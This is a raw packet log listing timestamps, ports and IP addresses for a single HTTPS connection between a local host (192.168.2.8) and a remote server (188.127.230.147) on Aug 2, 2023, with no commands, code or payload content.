Aug 2, 2023 10:46:24.499461889 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.499480963 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.499506950 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.499525070 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.499598026 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.553484917 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.553529024 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.553698063 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.553726912 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.553797960 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554131031 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554207087 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554258108 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554302931 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554348946 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554418087 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554550886 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554615021 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554646015 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554656982 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554713011 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554737091 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.554918051 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.554944038 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.555022955 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.555035114 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.555052042 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.555114031 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.555133104 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.555143118 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.555192947 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.555222988 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.593677044 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.593709946 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.593838930 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.593873978 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.593933105 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.595618010 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.595676899 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.595746994 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.595772982 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.595799923 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.595828056 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.607486010 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.607518911 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.607692003 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.607719898 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.607784033 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.609066010 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609097004 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609256983 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.609283924 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609349012 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.609689951 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609719038 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609796047 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.609816074 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609874010 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.609967947 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.609997988 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610081911 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610102892 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610157967 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610271931 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610296011 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610348940 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610373974 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610392094 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610440969 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610488892 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610724926 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610758066 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610831976 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610871077 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610898018 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.610925913 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.610987902 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.611042023 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611064911 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611131907 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.611151934 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611186028 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.611216068 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.611264944 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611287117 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611372948 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.611392021 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.611459017 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.647778034 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.647816896 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.648015976 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.648050070 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.648106098 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.649777889 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.649811029 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.649944067 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.649962902 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650017023 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650024891 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650043964 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650072098 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650093079 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650106907 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650150061 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650175095 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650316000 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650343895 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650392056 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650413036 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.650454998 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.650489092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.662146091 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.662235022 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.662313938 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.662332058 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.662353992 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.662384987 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.662468910 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666049957 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666085005 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666212082 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666248083 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666269064 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666306019 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666346073 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666348934 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666393042 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666395903 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666410923 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666464090 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666510105 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666536093 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666603088 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666615009 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666630030 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666656971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666708946 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666769981 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666770935 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666824102 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666862965 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666882992 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666892052 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666908979 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.666935921 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.666975021 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667115927 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667146921 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667229891 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667247057 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667273045 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667306900 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667407036 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667443037 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667480946 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667495966 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667538881 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667562008 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667648077 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667679071 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667732954 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667747021 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.667784929 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667807102 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.667983055 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668016911 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668106079 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668121099 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668181896 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668183088 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668204069 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668236971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668296099 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668311119 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668345928 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668371916 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668483019 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668510914 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668559074 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668574095 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668612003 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668637991 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668729067 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668761969 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668808937 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668822050 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.668855906 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.668888092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669063091 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669095993 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669156075 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669171095 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669214964 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669239998 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669286966 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669313908 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669359922 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669373989 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669418097 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669441938 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669585943 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669617891 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669673920 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669689894 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.669723034 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669759035 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.669989109 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670020103 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670100927 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.670116901 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670173883 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.670272112 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670317888 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670378923 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.670396090 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.670433044 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.670459986 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.684340000 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.702363968 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.702486038 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.702552080 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.702588081 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.702613115 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.702652931 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.703309059 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.703356981 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.703417063 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.703438997 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.703473091 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.703496933 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705064058 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705107927 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705157995 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705183983 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705212116 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705233097 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705248117 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705286026 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705317020 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705328941 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705377102 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705403090 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705420971 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705462933 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705493927 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705507994 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705538988 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705543995 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705564976 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705576897 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705609083 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705620050 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705651999 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705661058 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.705703974 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.705734968 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.706209898 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.706257105 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.706334114 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.706355095 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.706393957 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.706422091 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717179060 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717222929 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717344046 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717370033 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717396021 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717459917 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717484951 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717513084 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717524052 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717545033 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717571020 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717576981 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717612982 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717628956 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717667103 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717710018 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.717927933 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.717982054 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718065977 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.718086004 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718135118 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718139887 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.718153954 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718175888 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718203068 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.718216896 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.718240023 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.718269110 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.720480919 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720513105 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720686913 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.720714092 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720760107 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720788956 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720817089 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.720829010 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.720887899 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.720921040 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.721276999 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721312046 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721402884 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.721420050 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721471071 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.721746922 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721776009 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721859932 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.721874952 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.721929073 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.722011089 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.722038031 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.722116947 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.722132921 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.722181082 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.724395990 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724432945 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724538088 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.724562883 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724613905 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.724796057 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724827051 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724878073 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.724890947 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.724929094 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.724957943 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725052118 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725080967 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725122929 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725135088 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.725161076 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725189924 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.725306988 CEST	443	49699	188.127.230.147	192.168.2.8
